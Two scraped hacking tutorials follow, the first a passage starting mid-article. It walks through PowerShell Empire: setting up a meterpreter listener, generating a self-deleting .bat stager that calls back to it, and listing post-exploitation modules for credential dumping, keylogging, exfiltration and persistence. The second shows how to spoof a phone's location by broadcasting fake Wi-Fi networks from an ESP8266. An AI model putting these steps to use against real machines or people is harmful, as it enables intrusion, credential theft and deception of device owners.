about different types of listeners in the upcoming sections. For now, let's see how to start a listener.Let's use the "meterpreter" listener as an example. Typeuselistener meterpreteras shown above. Once the particular listener is loaded, you can typehelpcommand to display the available options.Theagents,back,exit,help,launcher,listeners, andmaincommands have been explained above. Let us learn about the other commands.(Empire: listeners) > uselistener meterpreter (Empire: listeners/meterpreter) > help Listener Commands ================= agents Jump to the agents menu. back Go back a menu. creds Display/return credentials from the database. execute Execute the given listener module. exit Exit Empire. help Displays the help menu. info Display listener module options. launcher Generate an initial launcher for this listener. listeners Jump to the listeners menu. main Go back to the main menu. resource Read and execute a list of Empire commands from a file. set Set a listener option. unset Unset a listener option. (Empire: listeners/meterpreter) >Theinfocommand shows the information about the particular type of listener we want to start, as seen below.(Empire: listeners/meterpreter) > info Name: Meterpreter Category: client_server Authors: @harmj0y Description: Starts a 'foreign' http[s] Meterpreter listener. Meterpreter Options: Name Required Value Description ---- -------- ------- ----------- Host True http://192.168.91.138:80 Hostname/IP for staging. Name True meterpreter Name for the listener. Port True 80 Port for the listener. (Empire: listeners/meterpreter) >Every listener requires certain options to be set. For example, the "meterpreter" listener needs theHostandPortvalues to be configured. Thesetcommand is used to assign these values. Similarly, theunsetcommand is used to clear these values.Don't Miss:How to Use ListenersOne important thing to remember is that Empire is case sensitive. For example, in the code box below, I am setting the "Name" value of our listener. "Name" and "name" are different in Empire, and it will give you an error if they are used incorrectly, as they cannot be used interchangeably.(Empire: listeners/meterpreter) > set [!] Error in setting listener option: list index out of range (Empire: listeners/meterpreter) > set name meterp [!] Invalid option specified. (Empire: listeners/meterpreter) > set Name meterp (Empire: listeners/meterpreter) >When all options are set, we can start a listener using theexecutecommand.(Empire: listeners/meterpreter) > execute [*] Starting listener 'meterp' [+] Listener successfully started! (Empire: listeners/meterpreter) >Once we gobackto the main menu, we can see that our listener is currently active.================================================================ [Empire] Post-Exploitation Framework ================================================================ [Version] 2.5 | [Web] https://github.com/empireProject/Empire ================================================================ _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| | |__ | \ / | | |_) | | | | |_) | | |__ | __| | |\/| | | ___/ | | | / | __| | |____ | | | | | | | | | |\ \----.| |____ |_______||__| |__| | _| |__| | _| `._____||_______| 285 modules currently loaded 1 listeners currently active 0 agents currently active (Empire) >Step 4: Using StagersStagers in Empire are used to set the stage for the post-exploitation activities. They are similar to payloads, which are used to create a connection back to Empire. The stagers can be accessed using theusestagercommand as shown below.Don't Miss:How to Use Payloads with MetasploitType theusestagerand then use the tab completion to see all the available stagers.(Empire) > usestager multi/bash osx/macho windows/launcher_bat multi/launcher osx/macro windows/launcher_lnk multi/macro osx/pkg windows/launcher_sct multi/pyinstaller osx/safari_launcher windows/launcher_vbs multi/war osx/teensy windows/launcher_xml osx/applescript windows/backdoorLnkMacro windows/macro osx/application windows/bunny windows/macroless_msword osx/ducky windows/csharp_exe windows/shellcode osx/dylib windows/dll windows/teensy osx/jar windows/ducky osx/launcher windows/hta (Empire) > usestagerWe will learn about different stagers in an upcoming section. First, let's take a look at how to set up a stager.Let's start the "launcher_bat" stager as an example.Type theusestager windows/launcher_batcommand to load the stager. Then, type thehelpcommand to have a look at the stager menu.(Empire) > usestager windows/launcher_bat (Empire: stager/windows/launcher_bat) > help Stager Menu =========== agents Jump to the agents menu. back Go back a menu. creds Display/return credentials from the database. execute Generate/execute the given Empire stager. exit Exit Empire. generate Generate/execute the given Empire stager. help Displays the help menu. info Display stager options. interact Interact with a particular agent. list Lists all active agents (or listeners). listeners Jump to the listeners menu. main Go back to the main menu. options Display stager options. resource Read and execute a list of Empire commands from a file. set Set a stager option. unset Unset a stager option. (Empire: stager/windows/launcher_bat) >agents- Will allow you to jump directly to agents menu.back & main– Will take you back to the main menu.exit– Will exit from Empire.help- Will display help menu as shown in the above image.info- Will display information about the active listener.kill- Is used to kill a particular listener.execute or generate– Will execute or generate the stager.interact– Is used to interact with a particular agent (normally used when there are multiple listeners).list- Will list all the active listeners or agents.options- Used to see all the options we need to set for the particular agent.set and unset– Used to set and unset values to particular options, respectively.listeners- Used to jump to listeners menu.We can get more information about this particular stager by using theinfocommand. As you can see in the info, it creates a self-deleting batch file.(Empire: stager/windows/launcher_bat) > info Name: BAT Launcher Description: Generates a self-deleting .bat launcher for Empire. Options: Name Required Value Description ---- -------- ------- ----------- Listener True Listener to generate stager for. OutFile False /tmp/launcher.bat File to output .bat launcher to, otherwise displayed on the screen. Obfuscate False False Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. ObfuscateCommand False Token\All\1,Launcher\STDIN++\12467The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only. Language True powershell Language of the stager to generate. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). UserAgent False default User-agent string to use for the staging request (default, none, or other). Proxy False default Proxy to use for request (default, none, or other). Delete False True Switch. Delete .bat after running. StagerRetries False 0 Times for the stager to retry connecting. (Empire: stager/windows/launcher_bat) >We need to set a listener in order for the stager to be able to communicate with Empire. In the last step, we have already created a listener. Let us set this listener for our "launcher_bat" stager.(Empire: stager/windows/launcher_bat) > set Listener meterpreter (Empire: stager/windows/launcher_bat) > execute [*] Stager output written out to: /tmp/launcher.bat (Empire: stager/windows/launcher_bat) >We can do this usingset Listener meterpcommand. Type theexecutecommand to generate the stager. The stager is created in the "tmp" folder as indicated by the output shown above in blue.Step 5: Using AgentsWhen we send the stager to our target system and the machine engages with it, we get a reverse connection back. This is known as an agent.The Agents menu can be accessed usingagentscommand, as shown below. But, as is stated in the output, we do not currently have any agents registered. That is just around the corner.(Empire) > agents [!] No agents currently registered (Empire: agents) > help Commands ======== agents Jump to the agents menu. autorun Read and execute a list of Empire commands from a file and execute on each new agent "autorun <resource file> <agent language>" e.g. "autorun /root/ps.rc powershell". Or clear any autorun setting with "autorun clear" and show current autorun settings with "autorun show" back Go back to the main menu. clear Clear one or more agent's taskings. creds Display/return credentials from the database. exit Exit Empire. help Displays the help menu. interact Interact with a particular agent. kill Task one or more agents to exit. killdate Set the killdate for one or more agents (killdate [agent/all] 01/01/2016). list Lists all active agents (or listeners). listeners Jump to the listeners menu. lostlimit Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] ' main Go back to the main menu. remove Remove one or more agents from the database. rename Rename a particular agent. resource Read and execute a list of Empire commands from a file. searchmodule Search Empire module names/descriptions. sleep Task one or more agents to 'sleep [agent/all] interval [jitter]' usemodule Use an Empire PowerShell module. usestager Use an Empire stager. workinghours Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00). (Empire: agents) >The output of thehelpcommand is shown above. It will display all the commands we can use when an agent establishes a connection with Empire. For example, typing thelistcommand will show all the active agents we have, as shown below.(Empire: agents) > list [*] Active agents: Name Lang Internal IP Machine Name Username Process Delay Last Seen -------- ---- -------------- ------------- -------- ------- ----- ------------------- 7A9WSDPN ps XXXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX powershell/4032 5/0.0 2020-03-29 09:00:44Step 6: Using ModulesModules in Empire are used to perform specific functions. We can access modules using theusemodulecommand. Typeusemodule<Space>and then use tab completion to see all the modules.(Empire: agents) > usemodule Display all 285 possibilities? (y or n) y exfiltration/Invoke_ExfilDataToGitHub external/generate_agent powershell/code_execution/invoke_dllinjection powershell/code_execution/invoke_metasploitpayload powershell/code_execution/invoke_ntsd powershell/code_execution/invoke_reflectivepeinjection powershell/code_execution/invoke_shellcode powershell/code_execution/invoke_shellcodemsil powershell/collection/ChromeDump powershell/collection/FoxDump powershell/collection/USBKeylogger* powershell/collection/WebcamRecorder powershell/collection/browser_data powershell/collection/clipboard_monitor powershell/collection/file_finder powershell/collection/find_interesting_file powershell/collection/get_indexed_item powershell/collection/get_sql_column_sample_data powershell/collection/get_sql_query powershell/collection/inveigh powershell/collection/keylogger powershell/collection/minidump powershell/collection/netripper powershell/collection/ninjacopy* powershell/collection/packet_capture* powershell/collection/prompt powershell/collection/screenshot powershell/collection/vaults/add_keepass_config_trigger powershell/collection/vaults/find_keepass_config powershell/collection/vaults/get_keepass_config_trigger powershell/collection/vaults/keethief powershell/collection/vaults/remove_keepass_config_trigger powershell/credentials/credential_injection* powershell/credentials/enum_cred_store powershell/credentials/invoke_kerberoast powershell/credentials/mimikatz/cache* powershell/credentials/mimikatz/certs* powershell/credentials/mimikatz/command* powershell/credentials/mimikatz/dcsync powershell/credentials/mimikatz/dcsync_hashdump powershell/credentials/mimikatz/extract_tickets powershell/credentials/mimikatz/golden_ticket powershell/credentials/mimikatz/keys* powershell/credentials/mimikatz/logonpasswords* powershell/credentials/mimikatz/lsadump* powershell/credentials/mimikatz/mimitokens* powershell/credentials/mimikatz/pth* powershell/credentials/mimikatz/purge powershell/credentials/mimikatz/sam* powershell/credentials/mimikatz/silver_ticket powershell/credentials/mimikatz/trust_keys* powershell/credentials/powerdump* powershell/credentials/sessiongopher powershell/credentials/tokens powershell/credentials/vault_credential* powershell/exfiltration/egresscheck powershell/exfiltration/exfil_dropbox powershell/exploitation/exploit_eternalblue powershell/exploitation/exploit_jboss powershell/exploitation/exploit_jenkins powershell/lateral_movement/inveigh_relay powershell/lateral_movement/invoke_dcom powershell/lateral_movement/invoke_executemsbuild powershell/lateral_movement/invoke_psexec powershell/lateral_movement/invoke_psremoting powershell/lateral_movement/invoke_smbexec powershell/lateral_movement/invoke_sqloscmd powershell/lateral_movement/invoke_sshcommand powershell/lateral_movement/invoke_wmi powershell/lateral_movement/invoke_wmi_debugger powershell/lateral_movement/jenkins_script_console powershell/lateral_movement/new_gpo_immediate_task powershell/management/disable_rdp* powershell/management/downgrade_account powershell/management/enable_multi_rdp* powershell/management/enable_rdp* powershell/management/get_domain_sid powershell/management/honeyhash* powershell/management/invoke_script powershell/management/lock powershell/management/logoff powershell/management/mailraider/disable_security powershell/management/mailraider/get_emailitems powershell/management/mailraider/get_subfolders powershell/management/mailraider/mail_search powershell/management/mailraider/search_gal powershell/management/mailraider/send_mail powershell/management/mailraider/view_email powershell/management/psinject powershell/management/reflective_inject powershell/management/restart powershell/management/runas powershell/management/shinject powershell/management/sid_to_user powershell/management/spawn powershell/management/spawnas powershell/management/switch_listener powershell/management/timestomp powershell/management/user_to_sid powershell/management/vnc powershell/management/wdigest_downgrade* powershell/management/zipfolder powershell/persistence/elevated/registry* powershell/persistence/elevated/schtasks* powershell/persistence/elevated/wmi* powershell/persistence/elevated/wmi_updater* powershell/persistence/misc/add_netuser powershell/persistence/misc/add_sid_history* powershell/persistence/misc/debugger* powershell/persistence/misc/disable_machine_acct_change* powershell/persistence/misc/get_ssps powershell/persistence/misc/install_ssp* powershell/persistence/misc/memssp* powershell/persistence/misc/skeleton_key* powershell/persistence/powerbreach/deaduser powershell/persistence/powerbreach/eventlog* powershell/persistence/powerbreach/resolver powershell/persistence/userland/backdoor_lnk powershell/persistence/userland/registry powershell/persistence/userland/schtasks powershell/privesc/ask powershell/privesc/bypassuac powershell/privesc/bypassuac_env powershell/privesc/bypassuac_eventvwr powershell/privesc/bypassuac_fodhelper powershell/privesc/bypassuac_sdctlbypass powershell/privesc/bypassuac_tokenmanipulation powershell/privesc/bypassuac_wscript powershell/privesc/getsystem* powershell/privesc/gpp powershell/privesc/mcafee_sitelist powershell/privesc/ms16-032 powershell/privesc/ms16-135 powershell/privesc/powerup/allchecks powershell/privesc/powerup/find_dllhijack powershell/privesc/powerup/service_exe_restore powershell/privesc/powerup/service_exe_stager powershell/privesc/powerup/service_exe_useradd powershell/privesc/powerup/service_stager powershell/privesc/powerup/service_useradd powershell/privesc/powerup/write_dllhijacker powershell/privesc/tater powershell/recon/find_fruit powershell/recon/get_sql_server_login_default_pw powershell/recon/http_login powershell/situational_awareness/host/antivirusproduct powershell/situational_awareness/host/computerdetails* powershell/situational_awareness/host/dnsserver powershell/situational_awareness/host/findtrusteddocuments powershell/situational_awareness/host/get_pathacl powershell/situational_awareness/host/get_proxy powershell/situational_awareness/host/get_uaclevel powershell/situational_awareness/host/monitortcpconnections powershell/situational_awareness/host/paranoia* powershell/situational_awareness/host/winenum powershell/situational_awareness/network/arpscan powershell/situational_awareness/network/bloodhound powershell/situational_awareness/network/get_exploitable_system powershell/situational_awareness/network/get_spn powershell/situational_awareness/network/get_sql_instance_domain powershell/situational_awareness/network/get_sql_server_info powershell/situational_awareness/network/portscan powershell/situational_awareness/network/powerview/find_foreign_group powershell/situational_awareness/network/powerview/find_foreign_user powershell/situational_awareness/network/powerview/find_gpo_computer_admin powershell/situational_awareness/network/powerview/find_gpo_location powershell/situational_awareness/network/powerview/find_localadmin_access powershell/situational_awareness/network/powerview/find_managed_security_group powershell/situational_awareness/network/powerview/get_cached_rdpconnection powershell/situational_awareness/network/powerview/get_computer powershell/situational_awareness/network/powerview/get_dfs_share powershell/situational_awareness/network/powerview/get_domain_controller powershell/situational_awareness/network/powerview/get_domain_policy powershell/situational_awareness/network/powerview/get_domain_trust powershell/situational_awareness/network/powerview/get_fileserver powershell/situational_awareness/network/powerview/get_forest powershell/situational_awareness/network/powerview/get_forest_domain powershell/situational_awareness/network/powerview/get_gpo powershell/situational_awareness/network/powerview/get_group powershell/situational_awareness/network/powerview/get_group_member powershell/situational_awareness/network/powerview/get_localgroup powershell/situational_awareness/network/powerview/get_loggedon powershell/situational_awareness/network/powerview/get_object_acl powershell/situational_awareness/network/powerview/get_ou powershell/situational_awareness/network/powerview/get_rdp_session powershell/situational_awareness/network/powerview/get_session powershell/situational_awareness/network/powerview/get_site powershell/situational_awareness/network/powerview/get_subnet powershell/situational_awareness/network/powerview/get_user powershell/situational_awareness/network/powerview/map_domain_trust powershell/situational_awareness/network/powerview/process_hunter powershell/situational_awareness/network/powerview/set_ad_object powershell/situational_awareness/network/powerview/share_finder powershell/situational_awareness/network/powerview/user_hunter powershell/situational_awareness/network/reverse_dns powershell/situational_awareness/network/smbautobrute powershell/situational_awareness/network/smbscanner powershell/trollsploit/get_schwifty powershell/trollsploit/message powershell/trollsploit/process_killer powershell/trollsploit/rick_ascii powershell/trollsploit/rick_astley powershell/trollsploit/thunderstruck powershell/trollsploit/voicetroll powershell/trollsploit/wallpaper powershell/trollsploit/wlmdr python/collection/linux/hashdump* python/collection/linux/keylogger python/collection/linux/mimipenguin* python/collection/linux/pillage_user python/collection/linux/sniffer* python/collection/linux/xkeylogger python/collection/osx/browser_dump python/collection/osx/clipboard python/collection/osx/hashdump* python/collection/osx/imessage_dump python/collection/osx/kerberosdump python/collection/osx/keychaindump* python/collection/osx/keychaindump_chainbreaker python/collection/osx/keychaindump_decrypt python/collection/osx/keylogger python/collection/osx/native_screenshot python/collection/osx/native_screenshot_mss python/collection/osx/osx_mic_record python/collection/osx/pillage_user python/collection/osx/prompt python/collection/osx/screensaver_alleyoop python/collection/osx/screenshot python/collection/osx/search_email python/collection/osx/sniffer* python/collection/osx/webcam python/exploit/web/jboss_jmx python/lateral_movement/multi/ssh_command python/lateral_movement/multi/ssh_launcher python/management/multi/kerberos_inject python/management/multi/socks python/management/multi/spawn python/management/osx/screen_sharing python/management/osx/shellcodeinject64* python/persistence/multi/crontab python/persistence/multi/desktopfile python/persistence/osx/CreateHijacker* python/persistence/osx/LaunchAgentUserLandPersistence python/persistence/osx/RemoveDaemon* python/persistence/osx/launchdaemonexecutable* python/persistence/osx/loginhook python/persistence/osx/mail python/privesc/linux/linux_priv_checker python/privesc/linux/unix_privesc_check python/privesc/multi/bashdoor python/privesc/multi/sudo_spawn python/privesc/osx/dyld_print_to_file python/privesc/osx/piggyback python/privesc/windows/get_gpppasswords python/situational_awareness/host/multi/SuidGuidSearch python/situational_awareness/host/multi/WorldWriteableFileSearch python/situational_awareness/host/osx/HijackScanner python/situational_awareness/host/osx/situational_awareness python/situational_awareness/network/active_directory/dscl_get_groupmembers python/situational_awareness/network/active_directory/dscl_get_groups python/situational_awareness/network/active_directory/dscl_get_users python/situational_awareness/network/active_directory/get_computers python/situational_awareness/network/active_directory/get_domaincontrollers python/situational_awareness/network/active_directory/get_fileservers python/situational_awareness/network/active_directory/get_groupmembers python/situational_awareness/network/active_directory/get_groupmemberships python/situational_awareness/network/active_directory/get_groups python/situational_awareness/network/active_directory/get_ous python/situational_awareness/network/active_directory/get_userinformation python/situational_awareness/network/active_directory/get_users python/situational_awareness/network/dcos/chronos_api_add_job python/situational_awareness/network/dcos/chronos_api_delete_job python/situational_awareness/network/dcos/chronos_api_start_job python/situational_awareness/network/dcos/etcd_crawler python/situational_awareness/network/dcos/marathon_api_create_start_app python/situational_awareness/network/dcos/marathon_api_delete_app python/situational_awareness/network/find_fruit python/situational_awareness/network/gethostbyname python/situational_awareness/network/http_rest_api python/situational_awareness/network/port_scan python/situational_awareness/network/smb_mount python/trollsploit/osx/change_background python/trollsploit/osx/login_message* python/trollsploit/osx/say python/trollsploit/osx/thunderstruckWe will learn more about different modules in a later tutorial. First, let's take a look at how to use modules in Empire. Let's use the "external/generate_agent" as an example. Typeusemodule external/generate_agentto load the module. Once the required module is loaded, typehelpto see all the commands we can use with the module.(Empire: agents) > usemodule external/generate_agent (Empire: external/generate_agent) > help Module Commands =============== agents Jump to the agents menu. back Go back a menu. creds Display/return credentials from the database. execute Execute the given Empire module. exit Exit Empire. help Displays the help menu. info Display module options. interact Interact with a particular agent. list Lists all active agents (or listeners). listeners Jump to the listeners menu. main Go back to the main menu. options Display module options. reload Reload the current module. resource Read and execute a list of Empire commands from a file. run Execute the given Empire module. set Set a module option. unset Unset a module option. usemodule Use an Empire PowerShell module.agents- Will allow you to jump directly to agents menu.back & main– Will take you back to the main menuexit– Will exit from Empire.help– Will display help menu as shown in the above image.info– Will display information about the active listener.kill– Is used to kill a particular listener.execute or run– Will execute the selected module.interact– Is used to interact with a particular agent (normally used when there are multiple listeners).list– Will list all the active listeners or agents.options– Is used to see all the options we need to set for the particular agent.set and unset– Used to set and unset values for particular options.listeners– Used to jump to listeners menu.reload– Will reload the current module.Type theoptionscommand to see the options required for the module.(Empire: external/generate_agent) > options Name: Generate Agent Module: external/generate_agent Authors: @harmj0y Description: Generates an agent code instance for a specified listener, pre-staged, and register the agent in the database. This allows the agent to begin beconing behavior immediately. Options: Name Required Value Description ---- -------- ------- ----------- Listener True Listener to generate the agent for. OutFile True /tmp/agent Output file to write the agent code to. Language True Language to generate for the agent. (Empire: external/generate_agent) >Set the required options using thesetcommand, and when complete, use theexecutecommand to generate the module.(Empire: external/generate_agent) > set Listener http (Empire: external/generate_agent) > set Language powershell (Empire: external/generate_agent) > execute [*] New agent N74NC8TD checked in [+] Pre-generated agent 'N74NC8TD' now registered. [*] powershell agent code for listener http with sessionID 'QKHQXGMU' written out to /tmp/agent [*] Run sysinfo command after agent starts checking in!We will get into more detail about Empire in the upcoming sections. These are the first steps in getting Empire up and running, so stay tuned for more! You can leave any questions in the comments below.Next Up:Generating Stagers for Post Exploitation of Windows Hosts with PowerShell EmpireWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null ByteRelatedHow to Use PowerShell Empire:Generating Stagers for Post Exploitation of Windows HostsHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHow To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)Hack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)Hack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Android for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)How to Hack Like a Pro:Getting Started with MetasploitHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 1 (Creating the Payload)How To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHow To:Use "SET", the Social-Engineer ToolkitHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Attack on Stack [Part 4]; Smash the Stack Visualization: Prologue to Exploitation Chronicles, GDB on the Battlefield.How To:Enable the New Native SSH Client on Windows 10How To:Hide a Virus Inside of a Fake PictureHow To:Use Postenum to Gather Vital Data During Post-ExploitationHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use SnippetManager to manage code snippets for PowerGUI / Windows PowerShellHacking Windows 10:How to Create an Undetectable Payload, Part 2 (Concealing the Payload)Circle Sunday:Anti-Theft Lunch Bags, London Riots Cleanup & Eureka CancelledFallen Empires:The Worst Ever?News:Empire of the AntsNews:Inland EmpireHow To:log on Windows 7 with username & passwordHow To:Run a Free Web Server From Home on Windows or Linux with Apache
How to Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation Hotspots « Null Byte :: WonderHowTo
In many urban areas, GPS doesn't work well. Buildings reflect GPS signals on themselves to create a confusing mess for phones to sort out. As a result, most modern devices determine their location using a blend of techniques, including nearby Wi-Fi networks. By using SkyLift to create fake networks known to be in other areas, we can manipulate where a device thinks it is with anESP8266 microcontroller.For devices with limited access to GPS, Wi-Fi networks are a reliable way of finding out where a device is located. Hackers can exploit the flaw by broadcasting signals that appear to be from known networks. While the tactic doesn't work in areas with a lot of other Wi-Fi networks or a clear GPS signal, it works very well in sites that force smart devices to rely on aGPS.Don't Miss:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How Do Smart Devices Do Geolocation?The problem of locating a device is not new, and most smart devices have a range of options besides GPS for determining where it's located. It can involve things like cell phone towers, which do not move and are useful for determining the relative location of a user. As demand for fast GPS devices began to increase, Assisted GPS, or aGPS, became a way for devices to get around the long signal acquisition time it took to get a traditional GPS lock.To help with the problem of finding where a device with little or no GPS reception is, most smartphones continuously record the location of nearby Wi-Fi networks. These are added to a massive database of located networks that have been geolocated by multiple users, providing the information needed to determine where a device is by which Wi-Fi networks it can see.It shouldn't surprise anyone familiar withwardriving, as projects likeKismethave done so for quite some time. TheWigle.net projectlets hackers upload the data and determine where each network is located, making it easy to identify where a device might be if it comes in range of a network with a known location. The difference between aGPS and a traditional GPS lock is that with aGPS, a device will call an API to derive its position from the name, MAC address, and signal strength of nearby Wi-Fi networks compared against a known database of geotagged networks.Networks tagged with geolocation data on Wigle.net.How Do We Spoof aGPS?Now that we know how aGPS works, we can start looking for ways to abuse it. One of the most obvious ways is to simply find areas that rely more on aGPS than traditional GPS to determine a location. It can be anywhere that lacks a line of sight to the sky or deep inside buildings or parking garages where GPS signals cannot penetrate. Those conditions force smart devices to rely on less accurate data to find their geolocation, like any nearby Wi-Fi networks.Once we force smartphones into a condition where they are relying on aGPS more than GPS to determine their location, using a project called SkyLift, we can broadcast Wi-Fi beacon frames of networks with a previously logged geolocation to begin confusing the device. It will only work if there are few competing networks, as in a dense urban area, the results can range from moving around randomly to completely failing when real known networks are nearby.If we're in an excellent location to force phones to use aGPS to know where they are, we can also pick specific locations we want to spoof. To do so, we can either go to the site and record Wi-Fi traffic or use Wigle.net to query which networks are present at a location we want to spoof and then copy the network details.Don't Miss:Use an ESP8266 Beacon Spammer to Track Smartphone UsersWhat You'll NeedTo follow this guide, you'll need anESP8266-based microcontroller. It can be anything from aD1 Minito aNodeMCU, which can be found for very cheap online. For the MCU's setup, you'll need abreadboard,jumper wires,Micro-USB cable, and aWi-Fi antenna and SMA cable. I do not go over putting the MCU together since I have covered doing so inmany previous ESP8266 guides. Please refer to those if you need help or ask questions in the comments.D1 Mini Board:Buy on Amazon(Alt) |AliExpressOr a D1 Mini Board with Antenna:Buy on Amazon|AliExpressOr a NodeMCU Board:Buy on Amazon|AliExpressMicro-USB cable:Buy on Amazon|AliExpress(Alt)Breadboards:Buy on Amazon|AliExpressBreadboard jumper wires:Buy on Amazon(Alt)Antenna w/Cable (if not included with the board):Buy on AmazonImage by Kody/Null ByteYou'll also need an internet-connected computer with Arduino IDE installed. We'll use it to program the microcontroller, and the Micro-USB data cable is used to connect the ESP8266 to the computer for power and programming.Step 1: Add the ESP8266 Board to ArduinoWe will use the free and cross-platformArduino IDE, which will allow us to prototype what we need quickly. Arduino IDE (the IDE stands for "integrated development environment") will enable you to write and upload scripts to Arduino-like microcontroller devices easily.You candownload the Arduino IDE from the official website. Once it's installed, you'll need to click on the "Arduino" drop-down menu, then select "Preferences." Next, paste the following URL into the Additional Boards Manager URLs field.http://arduino.esp8266.com/stable/package_esp8266com_index.jsonOnce that's complete, click "OK" to close the menu.Next, you'll need to add the NodeMCU to the Boards Manager. Click on "Tools," then hover over the "Board" section to see the drop-down list. At the top, click "Boards Manager" to open the window that will allow us to add more boards.When the Boards Manager window opens, type "esp8266" into the search field. Select "esp8266" by "ESP8266 Community" and install it.You should be ready to program your ESP8266-based microcontroller now. Plug your ESP8266 into your computer. When you click on "Tools," you should see the correct port auto-selected.Select the "NodeMCU 1.0," or whichever ESP8266 you are using, from the "Board" menu. If you're using a bad USB cable, the port may not show up, so if you don't see anything after you've completed the other steps, try another cable first.There are two main buttons up top. The checkmark compiles and checks our code for mistakes, and the right arrow pushes the code to the NodeMCU.Step 2: Download SkyLiftNow that we have Arduino IDE set up, we'll need to download the SkyLift demo. We can cloneits GitHub repositoryby typing the following into a new terminal window.~$ git clone https://github.com/adamhrv/skylift.gitOnce it has completed, we can change directories into the folder that was downloaded and open the sketch in Arduino IDE.~$ cd skylift ~$ cd skylift_demo/ ~$ open skylift_demo.inoHere, you'll see configuration files as well as the main script.For our demo, we won't be modifying it. We can plug in our ESP8266 and, provided we see the LED on it flash, move on to the next step.Step 3: Push the Code to the ESP8266Now, it's time to push our code to the ESP8266, which should be plugged in via a Micro-USB cable to our computer running Arduino IDE.Make sure that the correct board is selected in Arduino and that the port is set to the right interface for the ESP8266. Once you're sure the settings are correct, you can click the arrow icon to upload the code to your ESP8266-based board. It shouldn't take long, and when it's complete, you should see several open networks being broadcast nearby.In our example, the open networks are the signals we are spoofing, as they are known networks that have been geolocated to Facebook's headquarters. If we can put a smart device in a position where it has only those signals to determine it's likely location, we can trick it into believing it's near the networks at Facebook's HQ instead of its actual location.Step 4: Test the Demo in a Suitable LocationOnce you've pushed the code to the ESP8266, it's time to test it out in a good location. You can useWigle WiFion Android to measure the number of nearby networks and hunt for places with poor reception of other networks. Once you find a location with lousy GPS reception, turn off the geolocation services on your phone, and then turn them back on again.When your phone attempts to locate itself, it will have only the spoofed signals from the ESP8266 to rely on. Because these aren't reliable, it should determine its location as Facebook HQ.The location should be encoded into photos taken with geolocation enabled, suggested by apps the target is using, and it will persist until you stop broadcasting spoofed networks or the target gets a good signal from a GPS satellite or a legitimate nearby network with a known location.A-GPS Is Easy to Spoof in the Right AreasSmart devices have many ways of determining their location, and hackers can use them to create a situation where a device will rely on false information. It has been used for everything from art projects in which devices are spoofed, to the pools of the rich and famous, to situations where manipulating directions could give hackers an advantage. While it may not be an issue in every environment, be extra wary of GPS locations that are derived deep inside buildings or other areas that force devices to rely on easily spoofed signals.I hope you enjoyed this guide on spoofing aGPS locations using an ESP8266 microcontroller! If you have any questions about this tutorial on spoofing aGPS with Arduino, please ask below. And if you have a comment or idea for a future episode, feel free to reach me on [email protected]'t Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotHow To:Automatically Connect to Free Wi-Fi Hotspots (That Are Actually Free) on Your Samsung Galaxy Note 2How To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3Hacking Android:How to Create a Lab for Android Penetration TestingHow To:Turn your Motorola Droid 3 smartphone into a mobile Wi-Fi hotspotHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Save Cellular Data by Using Wi-Fi Only for FaceTime Audio & Video CallsHow To:Convert a Wi-Fi Apple iPad into a 3G iPad with MiFiHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Hack 